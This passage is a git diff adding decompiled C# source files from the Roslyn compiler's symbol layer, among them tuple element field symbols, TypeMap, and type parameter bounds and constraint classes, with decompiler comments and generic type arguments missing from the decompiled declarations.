AsMember(NamedTypeSymbol newOwner) + { + NamedTypeSymbol newUnderlyingOwner = GetNewUnderlyingOwner(newOwner); + return new TupleElementFieldSymbol(newOwner, _underlyingField.OriginalDefinition.AsMember(newUnderlyingOwner), TupleElementIndex, Locations, IsImplicitlyDeclared); + } + + protected NamedTypeSymbol GetNewUnderlyingOwner(NamedTypeSymbol newOwner) + { + int num = TupleElementIndex; + NamedTypeSymbol namedTypeSymbol = newOwner; + while (num >= 7) + { + namedTypeSymbol = (NamedTypeSymbol)namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + num -= 7; + } + return namedTypeSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleErrorFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleErrorFieldSymbol.cs new file mode 100644 index 0000000..edc9211 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleErrorFieldSymbol.cs @@ -0,0 +1,136 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TupleErrorFieldSymbol : SynthesizedFieldSymbolBase +{ + private readonly TypeWithAnnotations _type; + + private readonly int _tupleElementIndex; + + private readonly ImmutableArray _locations; + + private readonly DiagnosticInfo _useSiteDiagnosticInfo; + + private readonly TupleErrorFieldSymbol _correspondingDefaultField; + + private readonly bool _isImplicitlyDeclared; + + public override int TupleElementIndex + { + get + { + if (_tupleElementIndex < 0) + { + return -1; + } + return _tupleElementIndex >> 1; + } + } + + public override bool IsDefaultTupleElement => (_tupleElementIndex & -2147483647) == 0; + + public override bool IsExplicitlyNamedTupleElement + { + get + { + if (_tupleElementIndex >= 0) + { + return !_isImplicitlyDeclared; + } + return false; + } + } + + public override FieldSymbol TupleUnderlyingField => null; + + public override FieldSymbol OriginalDefinition => this; + + public override ImmutableArray Locations => _locations; + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (!_isImplicitlyDeclared) + { + return Symbol.GetDeclaringSyntaxReferenceHelper(_locations); + } + return ImmutableArray.Empty; + } + } + + public override bool IsImplicitlyDeclared => _isImplicitlyDeclared; + + public override FieldSymbol CorrespondingTupleField => _correspondingDefaultField; + + internal override bool SuppressDynamicAttribute => true; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public TupleErrorFieldSymbol(NamedTypeSymbol container, string name, int tupleElementIndex, Location location, TypeWithAnnotations type, DiagnosticInfo useSiteDiagnosticInfo, bool isImplicitlyDeclared, TupleErrorFieldSymbol correspondingDefaultFieldOpt) + : base(container, name, isPublic: true, isReadOnly: false, isStatic: false) + { + _type = type; + _locations = ((location == (Location)null) ? ImmutableArray.Empty : ImmutableArray.Create(location)); + _useSiteDiagnosticInfo = useSiteDiagnosticInfo; + _tupleElementIndex = (((object)correspondingDefaultFieldOpt == null) ? (tupleElementIndex << 1) : ((tupleElementIndex << 1) + 1)); + _isImplicitlyDeclared = isImplicitlyDeclared; + _correspondingDefaultField = correspondingDefaultFieldOpt ?? this; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _type; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return new UseSiteInfo(_useSiteDiagnosticInfo); + } + + public sealed override int GetHashCode() + { + int hashCode = ContainingType.GetHashCode(); + int tupleElementIndex = _tupleElementIndex; + return Hash.Combine(hashCode, tupleElementIndex.GetHashCode()); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Equals(obj as TupleErrorFieldSymbol, compareKind); + } + + public bool Equals(TupleErrorFieldSymbol other, TypeCompareKind compareKind) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if ((object)other == this) + { + return true; + } + if ((object)other != null && _tupleElementIndex == other._tupleElementIndex) + { + return TypeSymbol.Equals(ContainingType, other.ContainingType, compareKind); + } + return false; + } + + internal override FieldSymbol AsMember(NamedTypeSymbol newOwner) + { + if ((object)newOwner == ContainingType) + { + return this; + } + TupleErrorFieldSymbol correspondingDefaultFieldOpt = null; + if ((object)_correspondingDefaultField != this) + { + correspondingDefaultFieldOpt = (TupleErrorFieldSymbol)_correspondingDefaultField.AsMember(newOwner); + } + return new TupleErrorFieldSymbol(newOwner, Name, TupleElementIndex, _locations.IsEmpty ? null : GetFirstLocation(), newOwner.TupleElementTypesWithAnnotations[TupleElementIndex], _useSiteDiagnosticInfo, _isImplicitlyDeclared, correspondingDefaultFieldOpt); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleVirtualElementFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleVirtualElementFieldSymbol.cs new file mode 100644 index 0000000..268e77b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleVirtualElementFieldSymbol.cs @@ -0,0 +1,58 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TupleVirtualElementFieldSymbol : TupleElementFieldSymbol +{ + private readonly string _name; + + private readonly bool _cannotUse; + + public override string Name => _name; + + internal override int? TypeLayoutOffset => null; + + public override FieldSymbol OriginalDefinition => this; + + public override bool IsVirtualTupleField => true; + + public TupleVirtualElementFieldSymbol(NamedTypeSymbol container, FieldSymbol underlyingField, string name, int tupleElementIndex, ImmutableArray locations, bool cannotUse, bool isImplicitlyDeclared, FieldSymbol? correspondingDefaultFieldOpt) + : base(container, underlyingField, tupleElementIndex, locations, isImplicitlyDeclared, correspondingDefaultFieldOpt) + { + _name = name; + _cannotUse = cannotUse; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if (_cannotUse) + { + return new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_TupleInferredNamesNotAvailable, _name, new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureInferredTupleNames.RequiredVersion()))); + } + return base.GetUseSiteInfo(); + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _underlyingField.GetFieldType(fieldsBeingBound); + } + + public override ImmutableArray GetAttributes() + { + return _underlyingField.GetAttributes(); + } + + internal override FieldSymbol AsMember(NamedTypeSymbol newOwner) + { + NamedTypeSymbol newUnderlyingOwner = GetNewUnderlyingOwner(newOwner); + FieldSymbol correspondingDefaultFieldOpt = null; + if ((object)_correspondingDefaultField != this) + { + correspondingDefaultFieldOpt = _correspondingDefaultField.OriginalDefinition.AsMember(newOwner); + } + return new TupleVirtualElementFieldSymbol(newOwner, _underlyingField.OriginalDefinition.AsMember(newUnderlyingOwner), _name, TupleElementIndex, Locations, _cannotUse, IsImplicitlyDeclared, correspondingDefaultFieldOpt); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..a1940a7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeEarlyWellKnownAttributeData.cs @@ -0,0 +1,52 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeEarlyWellKnownAttributeData : CommonTypeEarlyWellKnownAttributeData +{ + private bool _hasInterpolatedStringHandlerAttribute; + + private int _inlineArrayLength; + + private CollectionBuilderAttributeData? _collectionBuilder; + + public bool HasInterpolatedStringHandlerAttribute + { + get + { + return _hasInterpolatedStringHandlerAttribute; + } + set + { + _hasInterpolatedStringHandlerAttribute = value; + } + } + + public int InlineArrayLength + { + get + { + return _inlineArrayLength; + } + set + { + if (_inlineArrayLength == 0) + { + _inlineArrayLength = value; + } + } + } + + public CollectionBuilderAttributeData? CollectionBuilder + { + get + { + return _collectionBuilder; + } + set + { + if (_collectionBuilder == null) + { + _collectionBuilder = value; + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeMap.cs new file mode 100644 index 0000000..b0fc93a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeMap.cs @@ -0,0 +1,146 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeMap : AbstractTypeParameterMap +{ + public static readonly Func AsTypeSymbol = (TypeWithAnnotations t) => t.Type; + + private static readonly SmallDictionary s_emptyDictionary = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + + private static readonly TypeMap s_emptyTypeMap = new TypeMap(); + + public static TypeMap Empty => s_emptyTypeMap; + + internal static ImmutableArray TypeParametersAsTypeSymbolsWithAnnotations(ImmutableArray typeParameters) + { + return ImmutableArrayExtensions.SelectAsArray(typeParameters, (Func)((TypeParameterSymbol tp) => TypeWithAnnotations.Create(tp))); + } + + internal static ImmutableArray TypeParametersAsTypeSymbolsWithIgnoredAnnotations(ImmutableArray typeParameters) + { + return ImmutableArrayExtensions.SelectAsArray(typeParameters, (Func)((TypeParameterSymbol tp) => TypeWithAnnotations.Create(tp, NullableAnnotation.Ignored))); + } + + internal static ImmutableArray AsTypeSymbols(ImmutableArray typesOpt) + { + if (!typesOpt.IsDefault) + { + return ImmutableArrayExtensions.SelectAsArray(typesOpt, AsTypeSymbol); + } + return default(ImmutableArray); + } + + internal TypeMap(ImmutableArray from, ImmutableArray to, bool allowAlpha = false) + : base(ConstructMapping(from, to)) + { + } + + internal TypeMap(ImmutableArray from, ImmutableArray to, bool allowAlpha = false) + : this(from, TypeParametersAsTypeSymbolsWithAnnotations(to), allowAlpha) + { + } + + private TypeMap(SmallDictionary mapping) + : base(new SmallDictionary(mapping, (IEqualityComparer)ReferenceEqualityComparer.Instance)) + { + } + + private static SmallDictionary ForType(NamedTypeSymbol containingType) + { + if (!(containingType is SubstitutedNamedTypeSymbol substitutedNamedTypeSymbol)) + { + return new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + } + return new SmallDictionary(substitutedNamedTypeSymbol.TypeSubstitution.Mapping, (IEqualityComparer)ReferenceEqualityComparer.Instance); + } + + internal TypeMap(NamedTypeSymbol containingType, ImmutableArray typeParameters, ImmutableArray typeArguments) + : base(ForType(containingType)) + { + for (int i = 0; i < typeParameters.Length; i++) + { + TypeParameterSymbol typeParameterSymbol = typeParameters[i]; + TypeWithAnnotations typeWithAnnotations = typeArguments[i]; + if (!typeWithAnnotations.Is(typeParameterSymbol)) + { + Mapping.Add(typeParameterSymbol, typeWithAnnotations); + } + } + } + + private TypeMap() + : base(s_emptyDictionary) + { + } + + private TypeMap WithAlphaRename(ImmutableArray oldTypeParameters, Symbol newOwner, out ImmutableArray newTypeParameters) + { + if (oldTypeParameters.Length == 0) + { + newTypeParameters = ImmutableArray.Empty; + return this; + } + TypeMap typeMap = new TypeMap(Mapping); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = (object)oldTypeParameters[0].ContainingSymbol.OriginalDefinition != newOwner.OriginalDefinition; + int num = 0; + ImmutableArray.Enumerator enumerator = oldTypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + SubstitutedTypeParameterSymbol substitutedTypeParameterSymbol = (flag ? new SynthesizedSubstitutedTypeParameterSymbol(newOwner, typeMap, current, num) : new SubstitutedTypeParameterSymbol(newOwner, typeMap, current, num)); + typeMap.Mapping.Add(current, TypeWithAnnotations.Create(substitutedTypeParameterSymbol)); + instance.Add((TypeParameterSymbol)substitutedTypeParameterSymbol); + num++; + } + newTypeParameters = instance.ToImmutableAndFree(); + return typeMap; + } + + internal TypeMap WithAlphaRename(NamedTypeSymbol oldOwner, NamedTypeSymbol newOwner, out ImmutableArray newTypeParameters) + { + return WithAlphaRename(oldOwner.OriginalDefinition.TypeParameters, newOwner, out newTypeParameters); + } + + internal TypeMap WithAlphaRename(MethodSymbol oldOwner, Symbol newOwner, out ImmutableArray newTypeParameters) + { + return WithAlphaRename(oldOwner.OriginalDefinition.TypeParameters, newOwner, out newTypeParameters); + } + + internal TypeMap WithConcatAlphaRename(MethodSymbol oldOwner, Symbol newOwner, out ImmutableArray newTypeParameters, out ImmutableArray oldTypeParameters, MethodSymbol stopAt = null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + while (oldOwner != null && oldOwner != stopAt) + { + ImmutableArray typeParameters = oldOwner.OriginalDefinition.TypeParameters; + for (int num = typeParameters.Length - 1; num >= 0; num--) + { + instance.Add(typeParameters[num]); + } + oldOwner = oldOwner.ContainingSymbol.OriginalDefinition as MethodSymbol; + } + instance.ReverseContents(); + oldTypeParameters = instance.ToImmutableAndFree(); + return WithAlphaRename(oldTypeParameters, newOwner, out newTypeParameters); + } + + private static SmallDictionary ConstructMapping(ImmutableArray from, ImmutableArray to) + { + SmallDictionary val = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + for (int i = 0; i < from.Length; i++) + { + TypeParameterSymbol typeParameterSymbol = from[i]; + TypeWithAnnotations typeWithAnnotations = to[i]; + if (!typeWithAnnotations.Is(typeParameterSymbol)) + { + val.Add(typeParameterSymbol, typeWithAnnotations); + } + } + return val; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBounds.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBounds.cs new file mode 100644 index 0000000..7971304 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBounds.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeParameterBounds +{ + public static readonly TypeParameterBounds Unset = new TypeParameterBounds(); + + public readonly ImmutableArray ConstraintTypes; + + public readonly ImmutableArray Interfaces; + + public readonly NamedTypeSymbol EffectiveBaseClass; + + public readonly TypeSymbol DeducedBaseType; + + public TypeParameterBounds(ImmutableArray constraintTypes, ImmutableArray interfaces, NamedTypeSymbol effectiveBaseClass, TypeSymbol deducedBaseType) + { + ConstraintTypes = constraintTypes; + Interfaces = interfaces; + EffectiveBaseClass = effectiveBaseClass; + DeducedBaseType = deducedBaseType; + } + + private TypeParameterBounds() + { + EffectiveBaseClass = null; + DeducedBaseType = null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBoundsExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBoundsExtensions.cs new file mode 100644 index 0000000..9513a3a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBoundsExtensions.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class TypeParameterBoundsExtensions +{ + internal static bool IsSet(this TypeParameterBounds boundsOpt) + { + return boundsOpt != TypeParameterBounds.Unset; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBuilder.cs new file mode 100644 index 0000000..a836958 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterBuilder.cs @@ -0,0 +1,60 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeParameterBuilder +{ + private readonly SyntaxReference _syntaxRef; + + private readonly SourceNamedTypeSymbol _owner; + + private readonly Location _location; + + internal TypeParameterBuilder(SyntaxReference syntaxRef, SourceNamedTypeSymbol owner, Location location) + { + _syntaxRef = syntaxRef; + _owner = owner; + _location = location; + } + + internal TypeParameterSymbol MakeSymbol(int ordinal, IList builders, BindingDiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + TypeParameterSyntax typeParameterSyntax = (TypeParameterSyntax)(object)_syntaxRef.GetSyntax(default(CancellationToken)); + SourceNamedTypeSymbol owner = _owner; + SyntaxToken identifier = typeParameterSyntax.Identifier; + SourceTypeParameterSymbol sourceTypeParameterSymbol = new SourceTypeParameterSymbol(owner, ((SyntaxToken)(ref identifier)).ValueText, ordinal, typeParameterSyntax.VarianceKeyword.VarianceKindFromToken(), ToLocations(builders), ToSyntaxRefs(builders)); + if (sourceTypeParameterSymbol.Name == sourceTypeParameterSymbol.ContainingSymbol.Name) + { + diagnostics.Add(ErrorCode.ERR_TypeVariableSameAsParent, sourceTypeParameterSymbol.GetFirstLocation(), sourceTypeParameterSymbol.Name); + } + return sourceTypeParameterSymbol; + } + + private static ImmutableArray ToLocations(IList builders) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(builders.Count); + foreach (TypeParameterBuilder builder in builders) + { + instance.Add(builder._location); + } + return instance.ToImmutableAndFree(); + } + + private static ImmutableArray ToSyntaxRefs(IList builders) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(builders.Count); + foreach (TypeParameterBuilder builder in builders) + { + instance.Add(builder._syntaxRef); + } + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterConstraintClause.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterConstraintClause.cs new file mode 100644 index 0000000..984dec3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterConstraintClause.cs @@ -0,0 +1,148 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeParameterConstraintClause +{ + internal static readonly TypeParameterConstraintClause Empty = new TypeParameterConstraintClause(TypeParameterConstraintKind.None, ImmutableArray.Empty); + + internal static readonly TypeParameterConstraintClause ObliviousNullabilityIfReferenceType = new TypeParameterConstraintClause(TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType, ImmutableArray.Empty); + + public readonly TypeParameterConstraintKind Constraints; + + public readonly ImmutableArray ConstraintTypes; + + internal static TypeParameterConstraintClause Create(TypeParameterConstraintKind constraints, ImmutableArray constraintTypes) + { + if (constraintTypes.IsEmpty) + { + switch (constraints) + { + case TypeParameterConstraintKind.None: + return Empty; + case TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType: + return ObliviousNullabilityIfReferenceType; + } + } + return new TypeParameterConstraintClause(constraints, constraintTypes); + } + + private TypeParameterConstraintClause(TypeParameterConstraintKind constraints, ImmutableArray constraintTypes) + { + Constraints = constraints; + ConstraintTypes = constraintTypes; + } + + internal static SmallDictionary BuildIsValueTypeMap(ImmutableArray typeParameters, ImmutableArray constraintClauses) + { + SmallDictionary val = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + isValueType(enumerator.Current, constraintClauses, val, ConsList.Empty); + } + return val; + static bool isValueType(TypeParameterSymbol thisTypeParameter, ImmutableArray constraintClauses2, SmallDictionary isValueTypeMap, ConsList inProgress) + { + if (ConsListExtensions.ContainsReference(inProgress, thisTypeParameter)) + { + return false; + } + bool result = default(bool); + if (isValueTypeMap.TryGetValue(thisTypeParameter, ref result)) + { + return result; + } + TypeParameterConstraintClause typeParameterConstraintClause = constraintClauses2[thisTypeParameter.Ordinal]; + bool flag = false; + if ((typeParameterConstraintClause.Constraints & TypeParameterConstraintKind.AllValueTypeKinds) != TypeParameterConstraintKind.None) + { + flag = true; + } + else + { + Symbol containingSymbol = thisTypeParameter.ContainingSymbol; + inProgress = ConsListExtensions.Prepend(inProgress, thisTypeParameter); + ImmutableArray.Enumerator enumerator2 = typeParameterConstraintClause.ConstraintTypes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeWithAnnotations current = enumerator2.Current; + TypeSymbol typeSymbol = (current.IsResolved ? current.Type : current.DefaultType); + if (typeSymbol is TypeParameterSymbol typeParameterSymbol && (object)typeParameterSymbol.ContainingSymbol == containingSymbol) + { + if (isValueType(typeParameterSymbol, constraintClauses2, isValueTypeMap, inProgress)) + { + flag = true; + break; + } + } + else if (typeSymbol.IsValueType) + { + flag = true; + break; + } + } + } + isValueTypeMap.Add(thisTypeParameter, flag); + return flag; + } + } + + internal static SmallDictionary BuildIsReferenceTypeFromConstraintTypesMap(ImmutableArray typeParameters, ImmutableArray constraintClauses) + { + SmallDictionary val = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + isReferenceTypeFromConstraintTypes(enumerator.Current, constraintClauses, val, ConsList.Empty); + } + return val; + static bool isReferenceTypeFromConstraintTypes(TypeParameterSymbol thisTypeParameter, ImmutableArray constraintClauses2, SmallDictionary isReferenceTypeFromConstraintTypesMap, ConsList inProgress) + { + if (ConsListExtensions.ContainsReference(inProgress, thisTypeParameter)) + { + return false; + } + bool result = default(bool); + if (isReferenceTypeFromConstraintTypesMap.TryGetValue(thisTypeParameter, ref result)) + { + return result; + } + TypeParameterConstraintClause typeParameterConstraintClause = constraintClauses2[thisTypeParameter.Ordinal]; + bool flag = false; + Symbol containingSymbol = thisTypeParameter.ContainingSymbol; + inProgress = ConsListExtensions.Prepend(inProgress, thisTypeParameter); + ImmutableArray.Enumerator enumerator2 = typeParameterConstraintClause.ConstraintTypes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeWithAnnotations current = enumerator2.Current; + TypeSymbol typeSymbol = (current.IsResolved ? current.Type : current.DefaultType); + if (typeSymbol is TypeParameterSymbol typeParameterSymbol) + { + if ((object)typeParameterSymbol.ContainingSymbol == containingSymbol) + { + if (isReferenceTypeFromConstraintTypes(typeParameterSymbol, constraintClauses2, isReferenceTypeFromConstraintTypesMap, inProgress)) + { + flag = true; + break; + } + } + else if (typeParameterSymbol.IsReferenceTypeFromConstraintTypes) + { + flag = true; + break; + } + } + else if (TypeParameterSymbol.NonTypeParameterConstraintImpliesReferenceType(typeSymbol)) + { + flag = true; + break; + } + } + isReferenceTypeFromConstraintTypesMap.Add(thisTypeParameter, flag); + return flag; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterConstraintKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterConstraintKind.cs new file mode 100644 index 0000000..847da60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterConstraintKind.cs @@ -0,0 +1,24 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[Flags] +internal enum TypeParameterConstraintKind +{ + None = 0, + ReferenceType = 1, + ValueType = 2, + Constructor = 4, + Unmanaged = 8, + NullableReferenceType = 0x11, + NotNullableReferenceType = 0x21, + ObliviousNullabilityIfReferenceType = 0x40, + NotNull = 0x80, + Default = 0x100, + PartialMismatch = 0x200, + ValueTypeFromConstraintTypes = 0x400, + ReferenceTypeFromConstraintTypes = 0x800, + AllReferenceTypeKinds = 0x31, + AllValueTypeKinds = 0xA, + AllNonNullableKinds = 0xF +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterDiagnosticInfo.cs new file mode 100644 index 0000000..d455e5a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterDiagnosticInfo.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal readonly struct TypeParameterDiagnosticInfo(TypeParameterSymbol typeParameter, UseSiteInfo useSiteInfo) +{ + public readonly TypeParameterSymbol TypeParameter = typeParameter; + + public readonly UseSiteInfo UseSiteInfo = useSiteInfo; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterInfo.cs new file mode 100644 index 0000000..5c0ed02 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterInfo.cs @@ -0,0 +1,19 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeParameterInfo +{ + public ImmutableArray LazyTypeParameters; + + public ImmutableArray> LazyTypeParameterConstraintTypes; + + public ImmutableArray LazyTypeParameterConstraintKinds; + + public static readonly TypeParameterInfo Empty = new TypeParameterInfo + { + LazyTypeParameters = ImmutableArray.Empty, + LazyTypeParameterConstraintTypes = ImmutableArray>.Empty, + LazyTypeParameterConstraintKinds = ImmutableArray.Empty + }; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterSymbol.cs new file mode 100644 index 0000000..5a14c2a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterSymbol.cs @@ -0,0 +1,725 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class TypeParameterSymbol : TypeSymbol, IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry, IGenericMethodParameterReference, IGenericTypeParameterReference, IGenericParameter, IGenericMethodParameter, IGenericTypeParameter, ITypeParameterSymbolInternal, ITypeSymbolInternal, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + bool ITypeReference.IsEnum => false; + + bool ITypeReference.IsValueType => false; + + PrimitiveTypeCode ITypeReference.TypeCode => (PrimitiveTypeCode)18; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameter IGenericParameter.AsGenericMethodParameter + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if ((int)AdaptedTypeParameterSymbol.ContainingSymbol.Kind == 9) + { + return (IGenericMethodParameter)(object)this; + } + return null; + } + } + + IGenericMethodParameterReference ITypeReference.AsGenericMethodParameterReference + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if ((int)AdaptedTypeParameterSymbol.ContainingSymbol.Kind == 9) + { + return (IGenericMethodParameterReference)(object)this; + } + return null; + } + } + + IGenericTypeInstanceReference ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameter IGenericParameter.AsGenericTypeParameter + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if ((int)AdaptedTypeParameterSymbol.ContainingSymbol.Kind == 11) + { + return (IGenericTypeParameter)(object)this; + } + return null; + } + } + + IGenericTypeParameterReference ITypeReference.AsGenericTypeParameterReference + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if 